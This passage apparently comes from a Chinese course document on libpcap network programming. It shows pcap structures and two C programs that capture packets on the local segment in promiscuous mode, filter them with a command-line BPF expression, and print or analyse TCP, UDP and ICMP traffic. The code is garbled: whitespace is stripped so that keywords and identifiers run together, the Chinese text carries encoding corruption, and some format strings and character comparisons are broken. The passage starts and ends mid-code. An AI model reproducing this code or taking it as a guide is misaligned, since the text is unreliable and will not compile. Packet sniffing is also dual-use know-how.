/*Readbuffer*/ u_char* buffer; u_char* bp; int cc; u_char* pkt; structbpf_program fcode; char errbuf[PCAP_ERRBUF_SIZE];}libpcap數(shù)據(jù)結(jié)構(gòu)struct pcap_pkthdr{ structtrmeval ts; /*timestamp*/ bpf_u_int32 caplen; /*lengthofportionpresent*/ bpf_u_int32 len; /*lengthofthispacket(offwire)*/}數(shù)據(jù)鏈路訪(fǎng)問(wèn)實(shí)例P259功能:打開(kāi)網(wǎng)絡(luò)設(shè)備。根據(jù)用戶(hù)從命令行輸入的過(guò)濾規(guī)則產(chǎn)生過(guò)濾器。捕獲所需的包并顯示。#include<pcap.h>#include<stdio.h>#include<stdlib.h>#include<errno.h>#include<sys/socket.h>#include<netinet/in.h>#include<arpa/inet.h>#defineBUFSIZE1000#definePCAP_ERRBUF_SIZ200voiddisplay(constu_char*packet,constsize_tlength);voidmy_callback(u_char*none,conststructpcap_pkthdr*pkthdr,constu_char*packet){display((u_char*)packet,(size_t)(pkthdr->caplen));return;}intmain(intargc,char**argv){inti;char*dev;charerrbuf[PCAP_ERRBUF_SIZE];pcap_t*descr;constu_char*packet;structpcap_pkthdrhdr;structether_header*eptr;structbpf_programfp;bpf_u_int32maskp;bpf_u_int32netp;if(argc!=2){fprintf(stdout,"usage:%s\"filterprogram\"\n",argv[0]);return0;}dev=pcap_lookupdev(errbuf);if(dev==NULL){fprintf(stderr,"%s\n",errbuf);exit(1);}printf("dev=%s",dev);fflush(stdout);pcap_lookupnet(dev,&netp,&maskp,errbuf);descr=pcap_open_live(dev,BUFSIZ,1,-1,errbuf);if(descr==NULL){printf("pcap_open_live():%s\n",errbuf);exit(1);}if(pcap_compile(descr,&fp,argv[1],0,netp)==-1){fprintf(stderr,"errorcallingpcap_compile\n");exit(1);}if(pcap_setfilter(descr,&fp)==-1){fprintf(stderr,"errorsettingfilter\n");exit(1);}pcap_loop(descr,-1,my_callback,NULL);return0;}voiddisplay(constu_char*packet,constsize_tlength){u_longoffset;inti,j,k;printf("packet[%lubytes]:\n",(longunsignedint)length);if(length<=0){return;}i=0;offset=0;for(k=length/16;k>0;k--,offset+=16){printf("%08X",(unsignedint)offset);for(j=0;j<16;j++,i++){if(j==8){printf("%-%02X",packet[i]);}elseprintf("%02X",packet[i]);}printf("");i-=16;for(j=0;j<16;j++,i++){if((packet[i]<='')&&(packet[i]<=255)){printf("%c",packet[i]);}elseprintf(".");}printf("\n");}k=length-i;if(k<=0){return;}printf("%08X",(unsignedint)offset);for(j=0;j<k;j++,i++){if(j==8){printf("-%02X",packet[i]);}elseprintf("%02X",packet[i]);}i-=k;for(j=16-k;j>0;j--){printf("");}printf("");for(j=0;j<k;j++,i++){if((packet[i]>='')&&(packet[i]<=255)){printf("%c",packet[i]);}else{printf(".");}}printf("\n");return;}程序運(yùn)行結(jié)果:網(wǎng)絡(luò)報(bào)文捕獲程序要求捕獲本地網(wǎng)段接收或發(fā)送的報(bào)文,并能根據(jù)命令行輸入的過(guò)濾條件過(guò)濾捕獲的數(shù)據(jù)。mainpcap_opennext_pcapanalysistcpudpicmpcleanupexit收到終止信號(hào)Pcap.c#include<stdio.h>#include<sys/socket.h>#include<sys/types.h>#include<netinet/in.h>#include<unistd.h>#include<netdb.h>#include<strings.h>#include<arpa/inet.h>#include<pcap.h>#include<signal.h>#include<net/if.h>#include<net/ethernet.h>#include<netinet/ip.h>#include<netinet/tcp.h>#include<error.h>#include<time.h>#definesnaplen1000#definepromisc1pcap_t*pcap;intdatalink;charsrc[20],dst[20];structpcap_pkthdrhdr;intpcap_open(char*);char*next_pcap(int*);voidanalysis(char*,int);voidtcp(char*,int);voidudp(char*,int);voidicmp(char*,int);voidcleanup(int);intmain(intargc,char**argv){intlen;char*ptr;if(argc>2){printf("Usage:%s\"filtercondition\"",argv[0]);exit(1);}if(pcap_open(argv[1])==-1){printf("Icannotopendevice.\n");exit(0);}setuid(getuid());signal(SIGTERM,cleanup);signal(SIGINT,cleanup);signal(SIGHUP,cleanup);while(1){ptr=next_pcap(&len);analysis(ptr,len);}pcap_close(pcap);}intpcap_open(char*filter){char*dev,*error;structbpf_programfp;bpf_u_int32net,netmask;if((dev=pcap_lookupdev(error))==NULL)return(-1);printf("fromnetworkdevice:%s\n",dev);if((pcap=pcap_open_live(dev,1000,promisc,0,error))==NULL)return(-1);if(filter!=NULL){if(pcap_lookupnet(dev,&net,&netmask,error)==-1){pcap_close(pcap);return(-1);}if(pcap_compile(pcap,&fp,filter,0,netmask)==-1){pcap_close(pcap);return(-1);}if(pcap_setfilter(pcap,&fp)==-1){pcap_close(pcap);return(-1);}}if((datalink=pcap_datalink(pcap))<0){pcap_close(pcap);return(-1);}return

溫馨提示

  • 1. 本站所有資源如無(wú)特殊說(shuō)明,都需要本地電腦安裝OFFICE2007和PDF閱讀器。圖紙軟件為CAD,CAXA,PROE,UG,SolidWorks等.壓縮文件請(qǐng)下載最新的WinRAR軟件解壓。
  • 2. 本站的文檔不包含任何第三方提供的附件圖紙等,如果需要附件,請(qǐng)聯(lián)系上傳者。文件的所有權(quán)益歸上傳用戶(hù)所有。
  • 3. 本站RAR壓縮包中若帶圖紙,網(wǎng)頁(yè)內(nèi)容里面會(huì)有圖紙預(yù)覽,若沒(méi)有圖紙預(yù)覽就沒(méi)有圖紙。
  • 4. 未經(jīng)權(quán)益所有人同意不得將文件中的內(nèi)容挪作商業(yè)或盈利用途。
  • 5. 人人文庫(kù)網(wǎng)僅提供信息存儲(chǔ)空間,僅對(duì)用戶(hù)上傳內(nèi)容的表現(xiàn)方式做保護(hù)處理,對(duì)用戶(hù)上傳分享的文檔內(nèi)容本身不做任何修改或編輯,并不能對(duì)任何下載內(nèi)容負(fù)責(zé)。
  • 6. 下載文件中如有侵權(quán)或不適當(dāng)內(nèi)容,請(qǐng)與我們聯(lián)系,我們立即糾正。
  • 7. 本站不保證下載資源的準(zhǔn)確性、安全性和完整性, 同時(shí)也不承擔(dān)用戶(hù)因使用這些下載資源對(duì)自己和他人造成任何形式的傷害或損失。

評(píng)論

0/150

提交評(píng)論